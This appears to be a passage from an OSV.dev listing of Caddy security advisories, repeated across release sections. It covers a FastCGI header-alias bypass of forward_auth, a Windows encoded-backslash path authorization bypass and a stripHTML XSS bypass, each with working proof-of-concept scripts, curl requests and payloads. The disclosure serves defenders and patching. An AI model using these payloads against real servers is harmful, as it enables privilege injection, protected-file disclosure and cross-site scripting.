This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Jul 15, 2015

v0.7.2 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Jul 01, 2015

v0.7.1 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

